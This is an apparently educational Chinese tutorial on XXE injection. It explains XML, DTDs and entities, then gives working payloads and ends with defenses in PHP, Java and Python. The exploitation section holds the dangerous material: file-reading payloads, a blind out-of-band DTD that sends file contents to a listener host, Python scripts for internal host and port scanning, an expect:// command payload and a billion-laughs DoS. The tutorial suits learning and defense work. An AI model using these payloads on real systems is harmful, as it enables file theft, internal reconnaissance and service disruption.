0x01 什么是XXE?
XXE:(XML External Entity) 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击。
介绍 XXE 之前,我先来说一下普通的 XML 注入,这个的利用面比较狭窄,如果有的话应该也是逻辑漏洞
如图所示:
既然能插入 XML 代码,那我们肯定不能善罢甘休,我们需要更多,于是出现了 XXE
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面(这可能就是为什么单独说 而没有说 XML 注入的原因吧,或许普通的 XML 注入真的太鸡肋了,现实中几乎用不到)
0x02 XML基础知识
XXE(XML External Entity Injection) 全称为 XML 外部实体注入,这是一个注入漏洞。
注入的是什么?XML外部实体。因此其利用点是 外部实体 ,如果能注入外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面。(相反,单纯的XML注入比较鸡肋。)
在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。
什么是 XML?
以下内容主要参考W3School的XML系列教程
XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。
要了解XXE,首先要了解XML标记语言。XML标记语言有哪些特征呢?
- XML 指可扩展标记语言(EXtensible Markup Language)
- XML 是一种标记语言,很类似 HTML
- XML 的设计宗旨是传输数据,而非显示数据
- XML 标签没有被预定义。您需要自行定义标签。
- XML 被设计为具有自我描述性。
XML 被设计为传输和存储数据,其焦点是数据的内容。HTML 被设计用来显示数据,其焦点是数据的外观。XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。XML文档用途广泛,最常见的比如订阅一个网站时的rss.xml
等。XML本质上就是一段自我描述的数据。XML是一种树结构。
重点语法规则主要有这样几点:
- 所有 XML 元素都须有关闭标签
- XML 标签对大小写敏感
- XML 必须正确地嵌套
- XML 文档必须有根元素
- XML 的属性值须加引号
- 如果你把字符 “<” 放在 XML 元素中,会发生错误,一些特殊字符需要转义。
此外,好的XML文档不仅遵循XML的规范,还符合DTD(document type definition)规范。
什么是 DTD?
所谓的DTD,Document Type Definition,文件类型定义,用来宣告网页的文件类型。举例来说,HTML 有很多版本,如:HTML, HTML2.0, … , XHTML, XHTML5 等,利用<!DOCTYPE> 让浏览器能正确显示内容。
通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。可一致地使用某个标准的 DTD 来交换数据。应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。还可以使用 DTD 来验证您自身的数据。
它使用一系列合法的元素来定义文档结构:
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。
内部的 DOCTYPE 声明
假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:
<!DOCTYPE 根元素 [元素声明]>
带有 DTD 的 XML 文档实例:
<?xml version="1.0"?>
<!DOCTYPE note [ 这是DTD内部声明
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
以上 DTD 解释如下:
-
!DOCTYPE note (第二行)定义此文档是 note 类型的文档。
-
!ELEMENT note (第三行)定义 note 元素有四个元素:”to、from、heading,、body”
-
!ELEMENT to (第四行)定义 to 元素为 “#PCDATA” 类型
(之后类似)
这里有一个小重点Tips:
- “#PCDATA” 类型为被解析的字符数据(parsed character data)。表示读文件按照XML格式进行解析
- “#CDATA”类型为字符数据(character data)。表示读文件但是不用解析,直接读文件的原始内容
外部文档声明
假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:
<!DOCTYPE 根元素 SYSTEM "文件名">
这个 XML 文档和上面的 XML 文档相同,但是拥有一个外部的 DTD:
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd"> # dtd文件的绝对路径
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>
这是包含 DTD 的 “note.dtd” 文件:
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
一个内部实体声明
语法:
<!ENTITY 实体名称 "实体的值">
例子:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
我们使用 &xxe 对 上面定义的 xxe 实体进行了引用,到时候输出的时候 &xxe 就会被 “test” 替换。
一个外部实体声明
语法:
<!ENTITY 实体名称 SYSTEM "URI/URL">
例子:
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]>
<creds>
<user>&xxe;</user>
<pass>mypass</pass>
</creds>
什么是实体?
实体是对数据的引用;根据实体种类的不同,XML 解析器将使用实体的替代文本或者外部文档的内容来替代实体引用。这里介绍以下几种实体,了解它们的工作方式,以及如何在我们自己的 XML 文档中利用它们的优势。
- 字符实体
- 命名实体
- 外部实体
- 参数实体
- 内部实体
所有实体(除参数实体外)都以一个与字符(&)开始,以一个分号(;)结束。XML 标准定义了所有 XML 解析器都必须实现的 5 种标准实体,尽管它们还支持其他实体。
1. 字符实体
指用十进制格式(&#aaa;)
或十六进制格式(પ)
来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。
2. 命名实体
命名实体在 DTD 或内部子集(即文档中 <!DOCTYPE> 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。
简单来说,实体就是宏,它们在我们处理文档时得到扩展。
<!ENTITY ndash "–"> <!-- en dash, U+2013 ISOpub -->
<!ENTITY mdash "—"> <!-- em dash, U+2014 ISOpub -->
<!ENTITY lsquo "‘"> <!-- left single quotation mark,U+2018 ISOnum -->
<!ENTITY rsquo "’"> <!-- right single quotation mark,U+2019 ISOnum -->
<!ENTITY sbquo "‚"> <!-- single low-9 quotation mark,U+201A NEW -->
<!ENTITY ldquo "“"> <!-- left double quotation mark,U+201C ISOnum -->
<!ENTITY rdquo "”"> <!-- right double quotation mark,U+201D ISOnum -->
3. 外部实体
外部实体表示外部文件的内容,用 SYSTEM 关键词表示。外部实体在有些情况下很有用,比如说,您在创建一本图书并且想将每一章存储为一个单独的文件。您可能会创建一组如下所示的实体。
<!ENTITY chap1 SYSTEM "chapter-1.xml">
<!ENTITY chap2 SYSTEM "chapter-2.xml">
<!ENTITY chap3 SYSTEM "chapter-3.xml">
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE Anything [
<!ENTITY entityex SYSTEM "file:///etc/passwd">
]>
<abc>&entityex;</abc>
在上面的代码中, XML外部实体 entityex
被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体entityex
的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。
关键字SYSTEM
会告诉XML解析器,entityex
实体的值将从其后的URI中读取,并把读取的内容替换entityex
出现的地方。
假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
4. 参数实体
参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://evil.com'>">
%param1;
]>
<root>
<test>[This is my site] &internal;</test>
</root>
5. 内部实体
内置实体为预留的实体,如:
- ' 是一个撇号:'
- & 是一个与字符:&
- " 是一个引号:"
- < 是一个小于号:<
- > 是一个大于号:>
我们经常会在 XHTML 和 XML 文档中看到和用到 &、< 和 > 实体,特别是那些通过展示示例来归档标记的文档。
0x03 XXE利用
1. 有回显的任意文件读取(Normal XXE)
攻击场景模拟的是在服务能接收并解析 XML 格式的输入并且有回显的时候,我们可以控制输入的XML代码造成服务器上任意文件的读取。
代码xml.php:
<?php
libxml_disable_entity_loader (false); // 是否禁止从外部加载XML实体
$xmlfile = file_get_contents('php://input'); // 将整个文件读入一个字符串
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
echo $creds;
?>
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE node [
<!ENTITY payload SYSTEM "file:///c:/flag.txt">
]>
<node>&payload;</node>
但是直接读文件,在遇到文件内容中含有<
,&
等未转义的字符时,解析会报错。这是由于XML的外部实体特性导致的,如以下文件:
<!DOCTYPE html>
<html>
<head>
<title>HTML5 rose</title>
<meta charset="utf-8">
</head>
<body>
解决方案
前面提到CDATA是将文件当做原始字符串而不进行解析,于是,可以通过 <![CDATA[
和 ]]>
将payload包裹起来,使其不解析为XML就可以读取此类文件了。那在这里我们就可以把读出来的数据放在CDATA中输出进行绕过。这里面的三个实体都是字符串形式,直接连在一起会报错,这说明我们不能在 xml 中进行拼接,而是必须在DTD中拼接好,然后在XML中进行引用。在DTD中拼接,只能使用参数实体。
payload:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE node [
<!ENTITY % start "<![CDATA[">
<!ENTITY % payload SYSTEM "file:///c:/flag.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/all.dtd">
%dtd; ]>
<node>&all;</node>
远程服务器all.dtd:
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%payload;%end;">
2. 无回显读取本地敏感文件(Blind OOB XXE)
通常情况下,xml文件是用于服务器的各项配置的,而不是直接输出的,于是我们需要寻找其他不依托服务器回显的方法来实现任意文件读取。
代码xml.php:
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
?>
远程服务器all.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/flag.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://10.10.10.200:2333?p=%file;'>">
在主机上打开监听端口,获取相应数据。
payload:
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://ip/all.dtd">
%remote;%int;%send;
]>
整个调用过程为:%remote;->%int;->%file;->%send;
,完美的解决了XXE无回显的问题。
新的思考:
我们只是做了一件事,那就是通过 file 协议读取本地文件,或者是通过 http 协议发出请求,熟悉 SSRF 的童鞋应该很快反应过来,这其实非常类似于 SSRF ,因为他们都能从服务器向另一台服务器发起请求,那么我们如果将远程服务器的地址换成某个内网的地址,(比如 192.168.0.10:8080)是不是也能实现 SSRF 同样的效果呢?没错,XXE 其实也是一种 SSRF 的攻击手法,因为 SSRF 其实只是一种攻击模式,利用这种攻击模式我们能使用很多的协议以及漏洞进行攻击。
新的利用:
所以要想更进一步的利用我们不能将眼光局限于 file 协议,我们必须清楚地知道在何种平台,我们能用何种协议
如图所示:
3. HTTP 内网主机探测
以存在 XXE 漏洞的服务器为探测内网的支点。要进行内网探测还需要做一些准备工作,我们需要先利用 file 协议读取我们作为支点服务器的网络配置文件,看一下有没有内网,以及网段大概是什么样子(我以linux 为例),我们可以尝试读取 /etc/network/interfaces
或者 /proc/net/arp
或者 /etc/host
文件以后我们就有了大致的探测方向。
Python脚本如下:
import requests
import base64
def XXE(ip,string):
try:
xml = """<?xml version="1.0" encoding="ISO-8859-1"?>"""
xml = xml + "
" + """<!DOCTYPE foo [ <!ELEMENT foo ANY >"""
xml = xml + "
" + """<!ENTITY xxe SYSTEM """ + '"' + string + '"' + """>]>"""
xml = xml + "
" + """<xml>"""
xml = xml + "
" + """ <stuff>&xxe;</stuff>"""
xml = xml + "
" + """</xml>"""
x = requests.post('http://127.0.0.1/a.php', data=xml, headers=headers, timeout=5).text
coded_string = x.split(' ')[-2]
print(' [+]',ip,'Successfully Found !!!')
except:
print(' [-]',ip,'Error Not Found !!!')
pass
if __name__ == '__main__':
headers = {'Content-Type':'application/xml'}
for i in range(190,255):
ip = '10.10.10.' + str(i)
string = 'php://filter/convert.base64-encode/resource=http://' + ip + '/'
XXE(ip,string)
4. HTTP 内网主机端口扫描
找到了内网的主机,还需要对其端口进行扫描,原理和上面一致,只不过IP固定,遍历端口,我们先用Burp Suite看一下端口开放和关闭的response有什么不同:
开放端口:
未开发端口:
批量端口扫描:
python脚本:
import requests
import base64
def XXE(port):
xml = """<?xml version="1.0" encoding="utf-8"?> """
xml = xml + "
" + """<!DOCTYPE data SYSTEM "http://192.168.50.132:""" + str(port) + """/" ["""
xml = xml + "
" + """<!ELEMENT data (#PCDATA)> """
xml = xml + "
" + """]>"""
xml = xml + "
" + """<data>7</data>"""
r = requests.post('http://192.168.50.132/xxe_blind_test.php', data=xml,timeout=5)
#print(port,r.elapsed.total_seconds())
if ("Connection refused" in r.text):
print(" [-]", port, " seems shut down")
else:
print(" [+]", port, "is up")
if __name__ == '__main__':
for i in range(9080,9082):
XXE(i)
5. 其他:
除了上面实验中的一些常见利用以外还有一些不是很常用或者比较鸡肋的利用方式,为了完整性我在这一节简单的说一下:
1.PHP expect RCE
由于 PHP 的 expect 并不是默认安装扩展,如果安装了这个expect 扩展我们就能直接利用 XXE 进行 RCE
示例代码:
<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]>
<dir>
<file>&cmd;</file>
</dir>
2. 利用 XXE 进行 DOS攻击
示例代码:
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
0x04 XXE 如何防御
方案一:使用语言中推荐的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
.setFeature("http://apache.org/xml/features/disallow-doctype-decl",true);
.setFeature("http://xml.org/sax/features/external-general-entities",false)
.setFeature("http://xml.org/sax/features/external-parameter-entities",false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二:手动黑名单过滤(不推荐)
过滤关键词:
<!DOCTYPE、<!ENTITY SYSTEM、PUBLIC
方案三:不允许XML中含有自己定义的DTD
参考资料:
[XXE学习笔记](